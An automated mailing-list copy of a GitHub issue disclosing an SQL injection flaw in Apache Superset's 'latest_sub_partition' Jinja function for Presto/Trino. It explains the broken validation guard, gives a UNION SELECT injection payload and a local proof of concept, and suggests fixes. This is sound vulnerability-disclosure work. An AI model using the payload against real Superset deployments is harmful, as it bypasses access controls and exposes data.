geo-chen opened a new issue, #41869:
URL: https://github.com/apache/superset/issues/41869
### Bug description
## Timeline
- 15 June 2026 - reported via email
- 8 July 2026 - Superset security team requested this be opened as a public
issue for hardening
- 8 July 2026 - issue created
I am reporting an SQL injection vulnerability in the Jinja template function
`latest_sub_partition` available to Presto and Trino database connections in
SQL Lab.
**Affected versions**: 6.1.0 (confirmed); all versions with Presto/Trino
support.
**Root cause**: `PrestoBaseEngineSpec.latest_sub_partition` in
`superset/db_engine_specs/presto.py` contains a broken validation guard at line
666:
```python
for k in kwargs.keys():
if k not in k in part_fields: # pylint: disable=comparison-with-itself
raise SupersetTemplateException(...)
```
Python evaluates `k not in k in part_fields` as `(k not in k) and (k in
part_fields)`. The sub-expression `k not in k` is always `False` for any string
(a string is always a substring of itself), so the combined expression is
always `False` and the raise is unreachable. The pylint disable comment
confirms the linter flagged this; the warning was suppressed rather than fixed.
Caller-supplied kwargs then flow into `_partition_query` (lines 500-501)
where both the field name and value are interpolated into SQL without escaping:
```python
l.append(f"{field} = '{value}'")
```
This generates a WHERE clause passed to `database.get_df(sql)` and executed
against Presto or Trino.
**Entry point**: The function is exposed as `presto.latest_sub_partition` /
`trino.latest_sub_partition` in the Jinja context for SQL Lab queries when
`ENABLE_TEMPLATE_PROCESSING=True` is set on the database connection.
**Impact**: When template processing is enabled on a Presto/Trino database,
any authenticated SQL Lab user can inject SQL into the partition metadata query
via:
```sql
SELECT '{{ presto.latest_sub_partition("schema.table", partition_col="val''
UNION SELECT secret FROM other_table--") }}'
```
The injected query runs with the database connection's service account
credentials, which on Hive/Iceberg deployments commonly has read access across
all schemas. This bypasses Superset row-level security and schema-access
controls for the affected database.
**PoC (real-fn-in-process, no live Presto required)**:
```python
# Verbatim guard from line 666 - always False
part_fields = ["ds", "event_type"]
k = "event_type"
print(k not in k in part_fields) # False -- guard never fires
# Injection sink from lines 500-501
filters = {"event_type": "click' UNION SELECT secret FROM vault--"}
l = []
for field, value in filters.items():
l.append(f"{field} = '{value}'")
where_clause = "WHERE " + " AND ".join(l)
print(where_clause)
# Output: WHERE event_type = 'click' UNION SELECT secret FROM vault--'
```
**Suggested fix**:
1. Line 666: change `if k not in k in part_fields:` to `if k not in
part_fields:`
2. Lines 500-501: parameterize the query rather than using f-string
interpolation for filter values.
Both `PrestoEngineSpec` and `TrinoEngineSpec` inherit from
`PrestoBaseEngineSpec` and are affected.
### Screenshots/recordings
_No response_
### Superset version
6.1.0
### Python version
3.9
### Node version
16
### Browser
Chrome
### Additional context
_No response_
### Checklist
- [x] I have searched Superset docs and Slack and didn't find a solution to
my problem.
- [x] I have searched the GitHub issue tracker and didn't find a similar bug
report.
- [x] I have checked Superset's logs for errors and if I found a relevant
Python stacktrace, I included it here as text in the "additional context"
section.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: [email protected]
For queries about this service, please contact Infrastructure at:
[email protected]
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]